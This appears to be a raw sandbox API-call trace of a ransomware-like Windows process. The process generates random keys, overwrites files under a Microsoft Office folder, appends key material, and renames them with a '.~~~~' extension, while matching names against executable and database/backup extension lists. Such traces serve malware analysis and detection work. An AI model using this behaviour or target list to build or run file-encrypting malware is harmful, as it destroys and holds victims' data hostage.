	[0144.652] CryptReleaseContext (hProv=0x3957c8, dwFlags=0x0) returned 1
	[0144.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.652] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26464220721) returned 1
	[0144.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfa10950, dwHighDateTime=0x1d60e1e)) 
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fdd8
	[0144.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fdd8 | out: hHeap=0x300000) returned 1
	[0144.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836258
	[0144.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.653] GetLastError () returned 0x0
	[0144.654] GetLastError () returned 0x0
	[0144.654] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.654] GetLastError () returned 0x0
	[0144.654] GetLastError () returned 0x0
	[0144.654] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.677] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.677] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.679] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.679] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.714] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.714] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.714] CloseHandle (hObject=0x104) returned 1
	[0144.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ef08
	[0144.768] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.~~~~")) returned 1
	[0144.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ef08 | out: hHeap=0x300000) returned 1
	[0144.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.857] GetLastError () returned 0x0
	[0144.857] RtlWakeConditionVariable () returned 0x0
	[0144.857] GetCurrentThreadId () returned 0x3a4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0144.858] lstrlenW (lpString=".cmd") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0144.858] lstrlenW (lpString=".dll") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0144.858] lstrlenW (lpString=".bat") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0144.858] lstrlenW (lpString=".cpl") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0144.858] lstrlenW (lpString=".sys") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0144.858] lstrlenW (lpString=".msc") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0144.858] lstrlenW (lpString=".com") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0144.858] lstrlenW (lpString=".lnk") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0144.858] lstrlenW (lpString=".msp") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0144.858] lstrlenW (lpString=".pif") returned 4
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0144.858] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0144.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.861] lstrlenW (lpString=".sqb") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
	[0144.861] lstrlenW (lpString=".ost") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0144.861] lstrlenW (lpString=".txt") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0144.861] lstrlenW (lpString=".mdt") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0144.861] lstrlenW (lpString=".BDB") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0144.861] lstrlenW (lpString=".eql") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0144.861] lstrlenW (lpString=".DBF") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0144.861] lstrlenW (lpString=".EQL") returned 4
	[0144.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0144.862] lstrlenW (lpString=".FDB") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0144.862] lstrlenW (lpString=".EDB") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0144.862] lstrlenW (lpString=".DACPAC") returned 7
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0144.862] lstrlenW (lpString=".VHD") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0144.862] lstrlenW (lpString=".DBV") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0144.862] lstrlenW (lpString=".dacpac") returned 7
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0144.862] lstrlenW (lpString=".sdf") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0144.862] lstrlenW (lpString=".accdb") returned 6
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0144.862] lstrlenW (lpString=".DBX") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0144.862] lstrlenW (lpString=".MDT") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0144.862] lstrlenW (lpString=".SQB") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0144.862] lstrlenW (lpString=".vhd") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0144.862] lstrlenW (lpString=".bac") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0144.862] lstrlenW (lpString=".mdf") returned 4
	[0144.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0144.863] lstrlenW (lpString=".BAK") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0144.863] lstrlenW (lpString=".BAC") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0144.863] lstrlenW (lpString=".dbs") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0144.863] lstrlenW (lpString=".vhdx") returned 5
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0144.863] lstrlenW (lpString=".NDF") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0144.863] lstrlenW (lpString=".dat") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0144.863] lstrlenW (lpString=".DBS") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0144.863] lstrlenW (lpString=".CKP") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0144.863] lstrlenW (lpString=".edb") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0144.863] lstrlenW (lpString=".PST") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0144.863] lstrlenW (lpString=".dbf") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0144.863] lstrlenW (lpString=".SQL") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0144.863] lstrlenW (lpString=".pst") returned 4
	[0144.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0144.864] lstrlenW (lpString=".dbv") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0144.864] lstrlenW (lpString=".SDF") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0144.864] lstrlenW (lpString=".dtxs") returned 5
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0144.864] lstrlenW (lpString=".db3") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0144.864] lstrlenW (lpString=".OST") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0144.864] lstrlenW (lpString=".dbx") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0144.864] lstrlenW (lpString=".DB3") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0144.864] lstrlenW (lpString=".DAT") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0144.864] lstrlenW (lpString=".VHDX") returned 5
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0144.864] lstrlenW (lpString=".ndf") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0144.864] lstrlenW (lpString=".DB") returned 3
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0144.864] lstrlenW (lpString=".sql") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0144.864] lstrlenW (lpString=".MYD") returned 4
	[0144.864] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0144.864] lstrlenW (lpString=".DBT") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0144.865] lstrlenW (lpString=".ACCDB") returned 6
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0144.865] lstrlenW (lpString=".fdb") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0144.865] lstrlenW (lpString=".bak") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0144.865] lstrlenW (lpString=".myd") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0144.865] lstrlenW (lpString=".DTXS") returned 5
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0144.865] lstrlenW (lpString=".ckp") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0144.865] lstrlenW (lpString=".dbt") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0144.865] lstrlenW (lpString=".db") returned 3
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0144.865] lstrlenW (lpString=".TXT") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0144.865] lstrlenW (lpString=".MDF") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0144.865] lstrlenW (lpString=".bdb") returned 4
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0144.865] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.866] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.867] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.867] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.867] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26485743860) returned 1
	[0144.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfbffb30, dwHighDateTime=0x1d60e1e)) 
	[0144.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fbe0
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fbe0 | out: hHeap=0x300000) returned 1
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37edd8
	[0144.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.869] GetLastError () returned 0x0
	[0144.869] GetLastError () returned 0x0
	[0144.869] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.869] GetLastError () returned 0x0
	[0144.869] GetLastError () returned 0x0
	[0144.870] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0144.872] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffd7f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.872] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x281, lpOverlapped=0x0) returned 1
	[0144.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.873] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.873] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.873] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.873] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.873] CloseHandle (hObject=0x138) returned 1
	[0144.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.~~~~")) returned 1
